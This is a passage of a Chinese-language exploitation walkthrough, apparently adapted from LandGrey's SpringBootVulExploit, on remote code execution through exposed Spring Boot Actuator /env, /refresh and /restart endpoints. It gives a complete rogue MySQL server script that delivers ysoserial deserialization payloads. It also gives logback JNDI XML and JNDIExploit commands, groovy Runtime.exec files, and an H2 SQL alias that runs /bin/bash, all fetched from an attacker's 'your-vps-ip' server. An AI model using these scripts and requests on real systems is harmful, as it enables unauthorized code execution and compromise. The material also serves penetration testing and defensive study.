Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

步骤四:刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

步骤五:触发数据库查询

尝试访问网站已知的数据库查询的接口,例如: /product/list ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发

步骤六:恢复正常 jdbc url

反序列化漏洞利用完成后,使用 步骤三 的方法恢复 步骤一 中记录的 spring.datasource.url 的原始 value

测试:

利用yso生成恶意的序列化数据并保存在payload.ser文件中,这里采用cc6这条链,因为前几条受jdk版本的影响可能导致反序列化触发命令会失败

image-20220626095233175

vps上运行 springboot-jdbc-deserialization-rce.py 脚本,开启一个恶意的 mysql server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

import os
import socket
import binascii


def server_send(conn, payload):
global count
count += 1
print("[*] Package order: {}, Send: {}".format(count, payload))
conn.send(binascii.a2b_hex(payload))


def server_receive(conn):
global count, BUFFER_SIZE

count += 1
data = conn.recv(BUFFER_SIZE)
print("[*] Package order: {}, Receive: {}".format(count, data))
return str(data).lower()


def run_mysql_server():
global count, deserialization_payload

while True:
count = 0
conn, addr = server_socks.accept()
print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
server_send(conn, greeting)
if os.path.isfile(deserialization_file):
with open(deserialization_file, 'rb') as _f:
deserialization_payload = binascii.b2a_hex(_f.read())
while True:
# client auth
server_receive(conn)
server_send(conn, response_ok)

# client query
data = server_receive(conn)
if "session.auto_increment_increment" in data:
_payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
server_send(conn, _payload)
data = server_receive(conn)
if "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
server_send(conn, _payload)
data = server_receive(conn)
if "set names" in data:
server_send(conn, response_ok)
data = server_receive(conn)
if "set character_set_results" in data:
server_send(conn, response_ok)
data = server_receive(conn)
if "show session status" in data:
_data = '0100000102'
_data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
_data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
_payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
_payload_length = _payload_hex[2:4] + _payload_hex[0:2]
_data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
_data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
_data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
_data += '07000005fe000022000100'
server_send(conn, _data)
data = server_receive(conn)
if "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
server_send(conn, _payload)

break
try:
conn.close()
except Exception as e:
pass


if __name__ == "__main__":
HOST = "0.0.0.0"
PORT = 3306

deserialization_file = r'payload.ser'
if os.path.isfile(deserialization_file):
with open(deserialization_file, 'rb') as f:
deserialization_payload = binascii.b2a_hex(f.read())
else:
deserialization_payload = 'aced****(your deserialized hex data)'

count = 0
BUFFER_SIZE = 1024
response_ok = '0700000200000002000000'
print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socks.bind((HOST, PORT))
server_socks.listen(1)

run_mysql_server()

通过 POST 设置属性值spring.datasource.url 为外部恶意 mysql jdbc url 地址,就是上步的vps开启的mysql地址

image-20220626022709041

在进行网站查询操作时,会触发数据库查询等操作,会与恶意的 mysql jdbc url 建立数据库连接,恶意 mysql server 就会在建立连接的合适阶段返回序列化的 payload 数据,最后目标会反序列化设置好的 gadget,造成RCE漏洞。

image-20220626022652992

漏洞原理:

  1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址
  2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值
  3. 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接
  4. 然后恶意 mysql server 就会在建立连接的合适阶段返回序列化 payload 数据
  5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞

restart logging.config logback JNDI RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
  • ⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出

利用方法:

步骤一:托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 xml 结尾的 example.xml 文件,实际内容要根据步骤二中使用的 JNDI 服务来确定:

1
2
3
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/Y2FsYw==" as="appName" />
</configuration>

步骤二:托管恶意 ldap 服务及代码

参考文章,修改 JNDIExploit 并启动(也可以使用其他方法):

1
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

步骤三:设置 logging.config 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.xml

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

步骤四:重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

测试:

通过 POST 方式设置 logging.config 的值

image-20220626022800084

请求 /restart 接口,触发RCE

image-20220626022748766

HTTP请求记录

image-20220626022820766

JNDIExploit请求记录

image-20220626022812572

漏洞原理:

  1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址
  2. restart 重启应用后,程序会请求 URL 地址获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

restart logging.config groovy RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
  • ⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出

利用方法:

步骤一:托管 groovy 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 groovy 结尾的 example.groovy 文件,内容为需要执行的 groovy 代码,比如:

1
Runtime.getRuntime().exec("calc")

步骤二:设置 logging.config 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}

步骤三:重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

测试:

通过 POST 设置 logging.config 的属性值

image-20220626022916922

请求 /restart 接口,触发RCE

image-20220626022908260

HTTP 请求记录

image-20220626023421444

漏洞原理:

  1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址
  2. restart 重启应用后,程序会请求设置的 URL 地址
  3. logback-classic 组件的 ch.qos.logback.classic.util.ContextInitializer.java 代码文件逻辑中会判断 url 是否以 groovy 结尾
  4. 如果 url 以 groovy 结尾,则最终会执行文件内容中的 groovy 代码,造成 RCE 漏洞

restart spring.main.sources groovy RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
  • ⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出

步骤一:托管 groovy 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 groovy 结尾的 example.groovy 文件,内容为需要执行的 groovy 代码,比如:

1
Runtime.getRuntime().exec("open -a Calculator")

步骤二:设置 spring.main.sources 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://your-vps-ip/example.groovy

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

步骤三:重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

测试:

通过 POST 设置 logging.config 的属性值

image-20220626023718193

请求 /restart 接口,触发RCE

image-20220626023658597

HTTP 请求记录

image-20220626023553751

restart spring.datasource.data h2 database RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • 环境中需要存在 h2databasespring-boot-starter-data-jpa 相关依赖
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出

利用方法:

步骤一:托管 sql 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以任意名字的文件,内容为需要执行的 h2 sql 代码,比如:

⚠️ 下面payload 中的 ‘T5’ 方法只能 restart 执行一次;后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址,然后才能被 restart 重新使用,否则第二次 restart 重启应用时会导致程序异常退出

1
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');

步骤二:设置 spring.datasource.data 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}

步骤三:重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

测试:

通过 POST 设置 spring.datasource.data 属性值

image-20220626023828376

请求 /restart 接口,触发RCE

image-20220626023808324

HTTP 请求记录如下

image-20220626023841255

漏洞原理:

  1. 目标机器可以通过 spring.datasource.data 属性来设置 jdbc DML sql 文件的 URL 地址
  2. restart 重启应用后,程序会请求设置的 URL 地址
  3. spring-boot-autoconfigure 组件中的 org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java 文件代码逻辑中会使用 runScripts 方法执行请求 URL 内容中的 h2 database sql 代码,造成 RCE 漏洞

参考

https://github.com/LandGrey/SpringBootVulExploit